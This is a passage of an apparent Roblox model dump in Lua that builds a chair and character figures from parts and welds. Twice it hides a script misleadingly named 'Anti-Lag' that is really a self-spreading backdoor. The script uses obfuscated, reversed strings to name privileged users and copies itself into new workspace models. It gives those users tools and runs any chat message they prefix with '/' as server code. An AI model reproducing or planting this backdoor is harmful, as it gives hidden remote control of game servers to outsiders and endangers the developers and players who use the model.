Weld688.C1 = CFrame.new(0, 0.199951172, -0.499755859, 0, -1, 0, 1, 0, -0, 0, 0, 1)
Weld688.Part0 = Part684
Weld688.Part1 = Part716
Weld688.part1 = Part716
Weld689.Parent = Part684
Weld689.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld689.C1 = CFrame.new(1, 0.600097656, 1, 1, 0, 0, 0, 0, -1, 0, 1, 0)
Weld689.Part0 = Part684
Weld689.Part1 = Part681
Weld689.part1 = Part681
Weld690.Parent = Part684
Weld690.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld690.C1 = CFrame.new(-1, 0.600097656, 1, 1, 0, 0, 0, 0, -1, 0, 1, 0)
Weld690.Part0 = Part684
Weld690.Part1 = Part679
Weld690.part1 = Part679
Weld691.Parent = Part684
Weld691.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld691.C1 = CFrame.new(-1, 0.600097656, -1, 1, 0, 0, 0, 0, -1, 0, 1, 0)
Weld691.Part0 = Part684
Weld691.Part1 = Part671
Weld691.part1 = Part671
Weld692.Parent = Part684
Weld692.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld692.C1 = CFrame.new(1, 0.600097656, -1, 1, 0, 0, 0, 0, -1, 0, 1, 0)
Weld692.Part0 = Part684
Weld692.Part1 = Part677
Weld692.part1 = Part677
Model693.Name = "Chair"
Model693.Parent = Model454
Model693.PrimaryPart = Part707
Part694.Name = "Smooth Block Model"
Part694.Parent = Model693
Part694.CFrame = CFrame.new(-17.5410156, 54.0002365, -205.051559, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Part694.Orientation = Vector3.new(0, -90, 0)
Part694.Position = Vector3.new(-17.5410156, 54.0002365, -205.051559)
Part694.Rotation = Vector3.new(0, -90, 0)
Part694.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part694.Size = Vector3.new(1, 1.20000005, 1)
Part694.Anchored = true
Part694.BrickColor = BrickColor.new("Dark orange")
Part694.TopSurface = Enum.SurfaceType.Weld
Part694.brickColor = BrickColor.new("Dark orange")
SpecialMesh695.Parent = Part694
SpecialMesh695.Scale = Vector3.new(1.25, 1.25, 1.25)
Part696.Name = "Smooth Block Model"
Part696.Parent = Model693
Part696.CFrame = CFrame.new(-17.5410156, 54.0002365, -207.051559, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Part696.Orientation = Vector3.new(0, -90, 0)
Part696.Position = Vector3.new(-17.5410156, 54.0002365, -207.051559)
Part696.Rotation = Vector3.new(0, -90, 0)
Part696.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part696.Size = Vector3.new(1, 1.20000005, 1)
Part696.Anchored = true
Part696.BrickColor = BrickColor.new("Dark orange")
Part696.TopSurface = Enum.SurfaceType.Weld
Part696.brickColor = BrickColor.new("Dark orange")
SpecialMesh697.Parent = Part696
SpecialMesh697.Scale = Vector3.new(1.25, 1.25, 1.25)
Part698.Name = "Smooth Block Model"
Part698.Parent = Model693
Part698.CFrame = CFrame.new(-15.5410156, 54.0002365, -205.051559, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Part698.Orientation = Vector3.new(0, -90, 0)
Part698.Position = Vector3.new(-15.5410156, 54.0002365, -205.051559)
Part698.Rotation = Vector3.new(0, -90, 0)
Part698.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part698.Size = Vector3.new(1, 1.20000005, 1)
Part698.Anchored = true
Part698.BrickColor = BrickColor.new("Dark orange")
Part698.TopSurface = Enum.SurfaceType.Weld
Part698.brickColor = BrickColor.new("Dark orange")
SpecialMesh699.Parent = Part698
SpecialMesh699.Scale = Vector3.new(1.25, 1.25, 1.25)
Weld700.Parent = Part698
Weld700.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld700.C1 = CFrame.new(1, -0.199951172, -1, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Weld700.Part0 = Part698
Weld700.Part1 = Part707
Weld700.part1 = Part707
Part701.Name = "Smooth Block Model"
Part701.Parent = Model693
Part701.CFrame = CFrame.new(-15.5410156, 54.0002365, -207.051559, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Part701.Orientation = Vector3.new(0, -90, 0)
Part701.Position = Vector3.new(-15.5410156, 54.0002365, -207.051559)
Part701.Rotation = Vector3.new(0, -90, 0)
Part701.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part701.Size = Vector3.new(1, 1.20000005, 1)
Part701.Anchored = true
Part701.BrickColor = BrickColor.new("Dark orange")
Part701.TopSurface = Enum.SurfaceType.Weld
Part701.brickColor = BrickColor.new("Dark orange")
SpecialMesh702.Parent = Part701
SpecialMesh702.Scale = Vector3.new(1.25, 1.25, 1.25)
Weld703.Parent = Part701
Weld703.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld703.C1 = CFrame.new(-1, -0.199951172, -1, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Weld703.Part0 = Part701
Weld703.Part1 = Part707
Weld703.part1 = Part707
Part704.Name = "Smooth Block Model"
Part704.Parent = Model693
Part704.CFrame = CFrame.new(-16.5410156, 56.1002083, -204.351563, 0, 0, -1, -1, 0, 0, 0, 1, 0)
Part704.Orientation = Vector3.new(0, -90, -90)
Part704.Position = Vector3.new(-16.5410156, 56.1002083, -204.351563)
Part704.Rotation = Vector3.new(90, -90, 0)
Part704.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part704.Size = Vector3.new(3, 0.400000006, 3)
Part704.Anchored = true
Part704.BottomSurface = Enum.SurfaceType.Weld
Part704.BrickColor = BrickColor.new("Dark orange")
Part704.LeftSurface = Enum.SurfaceType.Weld
Part704.RightSurface = Enum.SurfaceType.Weld
Part704.TopSurface = Enum.SurfaceType.Smooth
Part704.brickColor = BrickColor.new("Dark orange")
Weld705.Parent = Part704
Weld705.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld705.C1 = CFrame.new(1, -1, -1.40002823, -0, -1, -0, 0, 0, 1, -1, -0, -0)
Weld705.Part0 = Part704
Weld705.Part1 = Part761
Weld705.part1 = Part761
Weld706.Parent = Part704
Weld706.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld706.C1 = CFrame.new(-1, -1, 0.599971771, -0, -1, -0, 0, 0, 1, -1, -0, -0)
Weld706.Part0 = Part704
Weld706.Part1 = Part735
Weld706.part1 = Part735
Part707.Name = "Smooth Block Model"
Part707.Parent = Model693
Part707.CFrame = CFrame.new(-16.5410156, 54.8001671, -206.051559, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Part707.Orientation = Vector3.new(0, -90, 0)
Part707.Position = Vector3.new(-16.5410156, 54.8001671, -206.051559)
Part707.Rotation = Vector3.new(0, -90, 0)
Part707.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part707.Size = Vector3.new(3, 0.400000006, 3)
Part707.Anchored = true
Part707.BrickColor = BrickColor.new("Dark orange")
Part707.LeftSurface = Enum.SurfaceType.Weld
Part707.RightSurface = Enum.SurfaceType.Weld
Part707.TopSurface = Enum.SurfaceType.Weld
Part707.brickColor = BrickColor.new("Dark orange")
Script708.Name = "Anti-Lag"
Script708.Parent = Part707
table.insert(cors,sandbox(Script708,function()
Altitude = script:clone()
calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4]))
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5]))
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate > hatr then
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == "Part" then
local fh = fj[off]:FindFirstChild("Anti-Lag")
if fh ~= nil then
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local hup = Instance.new("Message")
hup.Text = "Detected"
hup.Parent = quen.Parent
local con = Instance.new("Script")
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new("HopperBin")
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1, zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild("Anti-Lag")
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == "Model" then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
end
function Player(player)
player.Changed:connect(function (property)
if property == "Character" then
laber(player)
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == "/" then
local dsting = Instance.new("Script")
dsting.Source = string.sub(msg,2)
dsting.Parent = game.Workspace
end
end
end
end))
Weld709.Parent = Part707
Weld709.C0 = CFrame.new(1.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld709.C1 = CFrame.new(1.30004883, -0.199996948, 0, -0, -1, -0, 0, 0, 1, -1, -0, -0)
Weld709.Part0 = Part707
Weld709.Part1 = Part704
Weld709.part1 = Part704
Weld710.Parent = Part707
Weld710.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld710.C1 = CFrame.new(1, 0.599975586, -1, 1, 0, 0, 0, 0, -1, -0, 1, 0)
Weld710.Part0 = Part707
Weld710.Part1 = Part696
Weld710.part1 = Part696
Weld711.Parent = Part707
Weld711.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld711.C1 = CFrame.new(-1, 0.59992981, 1, 1, 0, 0, 0, 0, -1, -0, 1, 0)
Weld711.Part0 = Part707
Weld711.Part1 = Part698
Weld711.part1 = Part698
Weld712.Parent = Part707
Weld712.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld712.C1 = CFrame.new(-1, 0.5, -0.50012207, 0, -1, 0, 1, 0, -0, 0, 0, 1)
Weld712.Part0 = Part707
Weld712.Part1 = Part735
Weld712.part1 = Part735
Weld713.Parent = Part707
Weld713.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld713.C1 = CFrame.new(1, 0.59992981, 1, 1, 0, 0, 0, 0, -1, -0, 1, 0)
Weld713.Part0 = Part707
Weld713.Part1 = Part701
Weld713.part1 = Part701
Weld714.Parent = Part707
Weld714.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld714.C1 = CFrame.new(-1, 0.599975586, -1, 1, 0, 0, 0, 0, -1, -0, 1, 0)
Weld714.Part0 = Part707
Weld714.Part1 = Part694
Weld714.part1 = Part694
Model715.Parent = Model368
Part716.Name = "Right Arm"
Part716.Parent = Model715
Part716.CFrame = CFrame.new(-23.5410156, 55.5002365, -205.551559, 1, 0, -0, 0, 0, 1, 0, -1, 0)
Part716.Orientation = Vector3.new(-90, 0, 0)
Part716.Position = Vector3.new(-23.5410156, 55.5002365, -205.551559)
Part716.Rotation = Vector3.new(-90, 0, 0)
Part716.Color = Color3.new(0.294118, 0.592157, 0.294118)
Part716.Size = Vector3.new(1, 2, 1)
Part716.Anchored = true
Part716.BottomSurface = Enum.SurfaceType.Smooth
Part716.BrickColor = BrickColor.new("Bright green")
Part716.TopSurface = Enum.SurfaceType.Smooth
Part716.brickColor = BrickColor.new("Bright green")
Part717.Name = "Right Arm"
Part717.Parent = Model715
Part717.CFrame = CFrame.new(-24.5410156, 55.5002365, -205.551559, 0, 0, -1, 1, 0, 0, 0, -1, 0)
Part717.Orientation = Vector3.new(0, -90, 90)
Part717.Position = Vector3.new(-24.5410156, 55.5002365, -205.551559)
Part717.Rotation = Vector3.new(-90, -90, 0)
Part717.Color = Color3.new(0.294118, 0.592157, 0.294118)
Part717.Size = Vector3.new(1, 2, 1)
Part717.Anchored = true
Part717.BottomSurface = Enum.SurfaceType.Smooth
Part717.BrickColor = BrickColor.new("Bright green")
Part717.TopSurface = Enum.SurfaceType.Smooth
Part717.brickColor = BrickColor.new("Bright green")
Part718.Name = "Torso"
Part718.Parent = Model715
Part718.CFrame = CFrame.new(-24.0410156, 57.0002365, -205.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part718.Position = Vector3.new(-24.0410156, 57.0002365, -205.051559)
Part718.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part718.Size = Vector3.new(2, 2, 1)
Part718.Anchored = true
Part718.BrickColor = BrickColor.new("Bright blue")
Part718.LeftParamA = 0
Part718.LeftParamB = 0
Part718.LeftSurface = Enum.SurfaceType.Weld
Part718.RightParamA = 0
Part718.RightParamB = 0
Part718.RightSurface = Enum.SurfaceType.Weld
Part718.brickColor = BrickColor.new("Bright blue")
Weld719.Parent = Part718
Weld719.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld719.C1 = CFrame.new(-0.5, -0.5, -0.299926758, 0, 0, 1, 1, -0, -0, 0, 1, 0)
Weld719.Part0 = Part718
Weld719.Part1 = Part720
Weld719.part1 = Part720
Part720.Name = "Right Arm"
Part720.Parent = Model715
Part720.CFrame = CFrame.new(-22.5410156, 57.3001671, -205.551559, 1, 0, -0, 0, 0, 1, 0, -1, 0)
Part720.Orientation = Vector3.new(-90, 0, 0)
Part720.Position = Vector3.new(-22.5410156, 57.3001671, -205.551559)
Part720.Rotation = Vector3.new(-90, 0, 0)
Part720.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part720.Size = Vector3.new(1, 2, 1)
Part720.Anchored = true
Part720.BottomSurface = Enum.SurfaceType.Smooth
Part720.BrickColor = BrickColor.new("Bright yellow")
Part720.TopSurface = Enum.SurfaceType.Smooth
Part720.brickColor = BrickColor.new("Bright yellow")
Weld721.Parent = Part720
Weld721.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld721.C1 = CFrame.new(1, 0.299930573, -0.5, 0, 0, -1, 1, 0, 0, 0, -1, 0)
Weld721.Part0 = Part720
Weld721.Part1 = Part718
Weld721.part1 = Part718
Weld722.Parent = Part720
Weld722.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld722.C1 = CFrame.new(1, 0.299930573, -0.5, 0, 0, -1, 1, 0, 0, 0, -1, 0)
Weld722.Part0 = Part720
Weld722.Part1 = Part718
Weld722.part1 = Part718
Part723.Name = "Head"
Part723.Parent = Model715
Part723.CFrame = CFrame.new(-24.0410156, 58.5002365, -205.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part723.Position = Vector3.new(-24.0410156, 58.5002365, -205.051559)
Part723.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part723.Size = Vector3.new(2, 1, 1)
Part723.Anchored = true
Part723.BrickColor = BrickColor.new("Bright yellow")
Part723.TopSurface = Enum.SurfaceType.Smooth
Part723.brickColor = BrickColor.new("Bright yellow")
SpecialMesh724.Parent = Part723
SpecialMesh724.Scale = Vector3.new(1.25, 1.25, 1.25)
Decal725.Name = "face"
Decal725.Parent = Part723
Snap726.Parent = Part723
Snap726.C0 = CFrame.new(0, -0.5, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Snap726.C1 = CFrame.new(0, 1, 0, 1, 0, 0, 0, 0, -1, 0, 1, 0)
Snap726.Part0 = Part723
Snap726.Part1 = Part718
Snap726.part1 = Part718
Part727.Name = "Right Arm"
Part727.Parent = Model715
Part727.CFrame = CFrame.new(-25.5410156, 57.5002365, -205.551559, 1, 0, -0, 0, 0, 1, 0, -1, 0)
Part727.Orientation = Vector3.new(-90, 0, 0)
Part727.Position = Vector3.new(-25.5410156, 57.5002365, -205.551559)
Part727.Rotation = Vector3.new(-90, 0, 0)
Part727.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part727.Size = Vector3.new(1, 2, 1)
Part727.Anchored = true
Part727.BottomSurface = Enum.SurfaceType.Smooth
Part727.BrickColor = BrickColor.new("Bright yellow")
Part727.TopSurface = Enum.SurfaceType.Smooth
Part727.brickColor = BrickColor.new("Bright yellow")
Script728.Name = "Anti-Lag"
Script728.Parent = Part727
table.insert(cors,sandbox(Script728,function()
Altitude = script:clone()
calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4]))
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5]))
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate > hatr then
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == "Part" then
local fh = fj[off]:FindFirstChild("Anti-Lag")
if fh ~= nil then
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local hup = Instance.new("Message")
hup.Text = "Detected"
hup.Parent = quen.Parent
local con = Instance.new("Script")
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new("HopperBin")
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1, zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild("Anti-Lag")
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == "Model" then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
end
function Player(player)
player.Changed:connect(function (property)
if property == "Character" then
laber(player)
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == "/" then
local dsting = Instance.new("Script")
dsting.Source = string.sub(msg,2)
dsting.Parent = game.Workspace
end
end
end
end))
Weld729.Parent = Part727
Weld729.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld729.C1 = CFrame.new(-1, 0.5, -0.5, 0, 0, 1, -1, 0, 0, 0, -1, 0)
Weld729.Part0 = Part727
Weld729.Part1 = Part718
Weld729.part1 = Part718
Weld730.Parent = Part727
Weld730.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld730.C1 = CFrame.new(-1, 0.5, -0.5, 0, 0, 1, -1, 0, 0, 0, -1, 0)
Weld730.Part0 = Part727
Weld730.Part1 = Part718
Weld730.part1 = Part718
Weld731.Parent = Part727
Weld731.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld731.C1 = CFrame.new(-1, 0.5, -0.5, 0, 0, 1, -1, 0, 0, 0, -1, 0)
Weld731.Part0 = Part727
Weld731.Part1 = Part718
Weld731.part1 = Part718
Weld732.Parent = Part727
Weld732.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld732.C1 = CFrame.new(-1, 0.5, -0.5, 0, 0, 1, -1, 0, 0, 0, -1, 0)
Weld732.Part0 = Part727
Weld732.Part1 = Part718
Weld732.part1 = Part718
Weld733.Parent = Part727
Weld733.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld733.C1 = CFrame.new(-1, 0.5, -0.5, 0, 0, 1, -1, 0, 0, 0, -1, 0)
Weld733.Part0 = Part727
Weld733.Part1 = Part718
Weld733.part1 = Part718
Model734.Parent = Model368
Part735.Name = "Right Arm"
Part735.Parent = Model734
Part735.CFrame = CFrame.new(-15.5410156, 55.5002365, -205.551559, 1, 0, -0, 0, 0, 1, 0, -1, 0)
Part735.Orientation = Vector3.new(-90, 0, 0)
Part735.Position = Vector3.new(-15.5410156, 55.5002365, -205.551559)
Part735.Rotation = Vector3.new(-90, 0, 0)
Part735.Color = Color3.new(0.294118, 0.592157, 0.294118)
Part735.Size = Vector3.new(1, 2, 1)
Part735.Anchored = true
Part735.BottomSurface = Enum.SurfaceType.Smooth
Part735.BrickColor = BrickColor.new("Bright green")
Part735.TopSurface = Enum.SurfaceType.Smooth
Part735.brickColor = BrickColor.new("Bright green")
Weld736.Parent = Part735
Weld736.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld736.C1 = CFrame.new(0.599975586, -0.199996948, -1, -0, -1, -0, 0, 0, 1, -1, -0, -0)
Weld736.Part0 = Part735
Weld736.Part1 = Part704
Weld736.part1 = Part704
Part737.Name = "Right Arm"
Part737.Parent = Model734
Part737.CFrame = CFrame.new(-16.5410156, 55.5002365, -205.551559, 0, 0, -1, 1, 0, 0, 0, -1, 0)
Part737.Orientation = Vector3.new(0, -90, 90)
Part737.Position = Vector3.new(-16.5410156, 55.5002365, -205.551559)
Part737.Rotation = Vector3.new(-90, -90, 0)
Part737.Color = Color3.new(0.294118, 0.592157, 0.294118)
Part737.Size = Vector3.new(1, 2, 1)
Part737.Anchored = true
Part737.BottomSurface = Enum.SurfaceType.Smooth
Part737.BrickColor = BrickColor.new("Bright green")
Part737.TopSurface = Enum.SurfaceType.Smooth
Part737.brickColor = BrickColor.new("Bright green")
Weld738.Parent = Part737
Weld738.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld738.C1 = CFrame.new(0.599971771, -0.199996948, 0, -1, 0, -0, 0, 0, 1, -0, 1, -0)
Weld738.Part0 = Part737
Weld738.Part1 = Part704
Weld738.part1 = Part704
Weld739.Parent = Part737
Weld739.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld739.C1 = CFrame.new(0.5, 0.200069427, 0, -0, -1, -0, -0, -0, -1, 1, 0, 0)
Weld739.Part0 = Part737
Weld739.Part1 = Part707
Weld739.part1 = Part707
Weld740.Parent = Part737
Weld740.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld740.C1 = CFrame.new(0.599975586, -0.199996948, 0, -1, 0, -0, 0, 0, 1, -0, 1, -0)
Weld740.Part0 = Part737
Weld740.Part1 = Part704
Weld740.part1 = Part704
Weld741.Parent = Part737
Weld741.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld741.C1 = CFrame.new(0.5, 0.200073242, 0, -0, -1, -0, -0, -0, -1, 1, 0, 0)
Weld741.Part0 = Part737
Weld741.Part1 = Part707
Weld741.part1 = Part707
Weld742.Parent = Part737
Weld742.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld742.C1 = CFrame.new(0.599971771, -0.199996948, 0, -1, 0, -0, 0, 0, 1, -0, 1, -0)
Weld742.Part0 = Part737
Weld742.Part1 = Part704
Weld742.part1 = Part704
Weld743.Parent = Part737
Weld743.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld743.C1 = CFrame.new(0.5, 0.200069427, 0, -0, -1, -0, -0, -0, -1, 1, 0, 0)
Weld743.Part0 = Part737
Weld743.Part1 = Part707
Weld743.part1 = Part707
Weld744.Parent = Part737
Weld744.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld744.C1 = CFrame.new(0.599971771, -0.199996948, 0, -1, 0, -0, 0, 0, 1, -0, 1, -0)
Weld744.Part0 = Part737
Weld744.Part1 = Part704
Weld744.part1 = Part704
Weld745.Parent = Part737
Weld745.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld745.C1 = CFrame.new(0.599971771, -0.199996948, 0, -1, 0, -0, 0, 0, 1, -0, 1, -0)
Weld745.Part0 = Part737
Weld745.Part1 = Part704
Weld745.part1 = Part704
Weld746.Parent = Part737
Weld746.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld746.C1 = CFrame.new(0.5, 0.200069427, 0, -0, -1, -0, -0, -0, -1, 1, 0, 0)
Weld746.Part0 = Part737
Weld746.Part1 = Part707
Weld746.part1 = Part707
Weld747.Parent = Part737
Weld747.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld747.C1 = CFrame.new(0.5, 0.200069427, 0, -0, -1, -0, -0, -0, -1, 1, 0, 0)
Weld747.Part0 = Part737
Weld747.Part1 = Part707
Weld747.part1 = Part707
Part748.Name = "Torso"
Part748.Parent = Model734
Part748.CFrame = CFrame.new(-16.0410156, 57.0002365, -205.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part748.Position = Vector3.new(-16.0410156, 57.0002365, -205.051559)
Part748.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part748.Size = Vector3.new(2, 2, 1)
Part748.Anchored = true
Part748.BrickColor = BrickColor.new("Bright blue")
Part748.LeftParamA = 0
Part748.LeftParamB = 0
Part748.LeftSurface = Enum.SurfaceType.Weld
Part748.RightParamA = 0
Part748.RightParamB = 0
Part748.RightSurface = Enum.SurfaceType.Weld
Part748.brickColor = BrickColor.new("Bright blue")
Weld749.Parent = Part748
Weld749.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld749.C1 = CFrame.new(-0.900024414, -0.199996948, -0.5, -0, -1, -0, 0, 0, 1, -1, -0, -0)
Weld749.Part0 = Part748
Weld749.Part1 = Part704
Weld749.part1 = Part704
Weld750.Parent = Part748
Weld750.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld750.C1 = CFrame.new(0.5, -0.5, -0.5, 0, 0, -1, -1, -0, 0, 0, 1, 0)
Weld750.Part0 = Part748
Weld750.Part1 = Part761
Weld750.part1 = Part761
Part751.Name = "Right Arm"
Part751.Parent = Model734
Part751.CFrame = CFrame.new(-14.5410156, 57.3001671, -205.551559, 1, 0, -0, 0, 0, 1, 0, -1, 0)
Part751.Orientation = Vector3.new(-90, 0, 0)
Part751.Position = Vector3.new(-14.5410156, 57.3001671, -205.551559)
Part751.Rotation = Vector3.new(-90, 0, 0)
Part751.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part751.Size = Vector3.new(1, 2, 1)
Part751.Anchored = true
Part751.BottomSurface = Enum.SurfaceType.Smooth
Part751.BrickColor = BrickColor.new("Bright yellow")
Part751.TopSurface = Enum.SurfaceType.Smooth
Part751.brickColor = BrickColor.new("Bright yellow")
Weld752.Parent = Part751
Weld752.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld752.C1 = CFrame.new(1, 0.299930573, -0.5, 0, 0, -1, 1, 0, 0, 0, -1, 0)
Weld752.Part0 = Part751
Weld752.Part1 = Part748
Weld752.part1 = Part748
Weld753.Parent = Part751
Weld753.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld753.C1 = CFrame.new(1, 0.299930573, -0.5, 0, 0, -1, 1, 0, 0, 0, -1, 0)
Weld753.Part0 = Part751
Weld753.Part1 = Part748
Weld753.part1 = Part748
Weld754.Parent = Part751
